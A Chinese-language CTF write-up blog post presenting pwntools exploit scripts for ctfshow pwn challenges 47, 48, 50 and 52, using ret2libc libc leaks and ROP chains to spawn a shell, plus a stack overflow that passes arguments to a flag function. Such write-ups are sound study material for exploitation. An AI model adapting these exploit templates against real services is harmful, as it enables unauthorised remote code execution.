写了这么多ret2libc的博客,下面我们开始正式进入刷题,正好ctf关于ret2libc的题还有不少,那么我们就一道一道来。简单题只大体贴一下题目和exp,难题可以展开讲讲

ctfshow pwn47(32位)

ez ret2libc

确实是很简单,给我打印了函数的真实地址,不过都无需了,直接套模板,改个偏移量和文件名完事

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher

context.log_level = 'debug'
context.binary = './pwn47'

#sh = process('./pwn47')
sh = remote('pwn.challenge.ctf.show', 28229)
pwn47 = ELF('./pwn47')

puts_plt = pwn47.plt['puts']
libc_start_main_got = pwn47.got['__libc_start_main']
main = pwn47.symbols['main']

print("leak libc_start_main_got addr and return to main again")
payload = flat([b'A' * (0x9C+0x4), puts_plt, main, libc_start_main_got])
sh.sendlineafter(b'Start your show time:', payload)

print("get the related addr")
libc_start_main_addr =u32(sh.recvuntil(b'\xf7')[-4:])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print("get shell")
payload = flat([b'A' *(0x9C+0x4) , system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

ctfshow pwn48(32位)

没有write了,试试用puts吧,更简单了呢

其实我也不理解这个题是何意味,大概是想让我们用write函数泄露libc地址,但是我们直接用万能的libc_start_main_addr,一招鲜吃遍天

题目没有什么大的变化就不贴了,甚至偏移都懒得改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher

context.log_level = 'debug'
context.binary = './pwn48'

#sh = process('./pwn45')
sh = remote('pwn.challenge.ctf.show', 28280)
pwn48 = ELF('./pwn48')

puts_plt = pwn48.plt['puts']
libc_start_main_got = pwn48.got['__libc_start_main']
main = pwn48.symbols['main']

print("leak libc_start_main_got addr and return to main again")
payload = flat([b'A' * (0x6B+0x4), puts_plt, main, libc_start_main_got])
sh.sendlineafter(b'O.o?', payload)

print("get the related addr")
libc_start_main_addr =u32(sh.recvuntil(b'\xf7')[-4:])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print("get shell")
payload = flat([b'A' *(0x6B+0x4) , system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

ctfshow pwn50(64位)

好像哪里不一样了
远程libc环境 Ubuntu 18

别问我为什么直接跳到pwn50了,因为pwn49是个静态编译的题目,不属于我们的动态编译一类,所以暂时跳过,回头单独写一篇博客讲讲

1
2
3
4
5
6
7
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
ctfshow();
exit(0);
}
1
2
3
4
5
6
7
__int64 ctfshow()
{
char v1[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Hello CTFshow");
return gets(v1);
}

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher

context.log_level = 'debug'
context.binary = './pwn50'

#sh = process('./pwn50')
sh = remote('pwn.challenge.ctf.show', 28305)
pwn50 = ELF('./pwn50')

puts_plt = pwn50.plt['puts']
puts_got = pwn50.got['puts']
main = pwn50.symbols['main']

#以上套模板照抄

offset = 0x20 + 0x8
ret_addr = 0x04004fe
pop_rdi_addr = 0x04007e3

#ROPgadget算一下

print("leak libc_start_main_got addr and return to main again")
payload = b'A' * (0x20+0x8)
payload += p64(pop_rdi_addr)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
sh.sendlineafter(b'Hello CTFshow', payload)
sh.sendline(payload)

print("get the related addr")
puts_addr =u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

#注意接收libc地址的方式不同

libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')

#以上计算过程套模板照抄

print("get shell")
payload = b'a'*(0x20+0x8)
payload += p64(pop_rdi_addr) #pop rdi
payload += p64(bin_sh_addr) #bin/sh
payload += p64(ret_addr) #ret
payload += p64(system_addr) #system
sh.sendline(payload)
sh.interactive()

但是我的libcsearcher直接报错

No matched libc, please add more libc or try others

我一开始以为是函数的问题,把__libc_start_main换成了puts函数去泄露libc,但还是同样的问题

这个事就很郁闷,我查了一下解决方案,得知可以全部删掉后重新克隆一遍,我感觉风险有点大,而且听说别的师傅花了好几个小时克隆,我感觉没有必要,就暂时不弄了吧。对照别的师傅写的wp,我的exp应该是没问题

然后看了几个师傅的博客,在打这个题的时候也遇到了同样的问题,最后知道了libc版本是libc6_2.27-3ubuntu1.5_amd64,所以这个题先鸽了吧,如果以后还遇到这种情况我再想想办法

ctfshow pwn52(利用栈溢出覆盖参数)

迎面走来的flag让我如此蠢蠢欲动

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
logo(&argc);
puts("What do you want?");
ctfshow();
return 0;
}
1
2
3
4
5
6
7
int ctfshow()
{
char s[104]; // [esp+Ch] [ebp-6Ch] BYREF

gets(s);
return puts(s);
}

左侧函数栏存在明显的flag函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
char *__cdecl flag(int a1, int a2)
{
char *result; // eax
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
result = fgets(s, 64, stream);
if ( a1 == 876 && a2 == 877 )
result = (char *)printf(s);
return result;
}

通过这个题再复习一遍32位系统下,函数的参数是从右往左入栈的即a2先入,a1后入,a2在高地址,栈结构大体如下。我们的payload覆盖方向和栈增长的方向是相反的,这不难理解

1
2
3
4
5
6
7
[高地址]  
a2
a1
返回地址
flag
offset
[低地址]

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context.log_level = 'debug'
#p = process('./pwn52')
p = remote('pwn.challenge.ctf.show', 28307)

elf = ELF('./pwn52')
flag_addr = elf.symbols['flag']

a1 = 0x36c
a2 = 0x36d
offset = (0x6C+0x4)

payload = flat([
b'A' * offset,
flag_addr,
0xdeadbeef,
a1,
a2,
])

p.sendline(payload)
p.interactive()

直接给了ctfshow_flag文件里的内容

还没填的坑

ctfshow pwn49

静态编译

ctfshow pwn51

没学过C++

ctfshow pwn53(已填)

类canary爆破,先学学python再来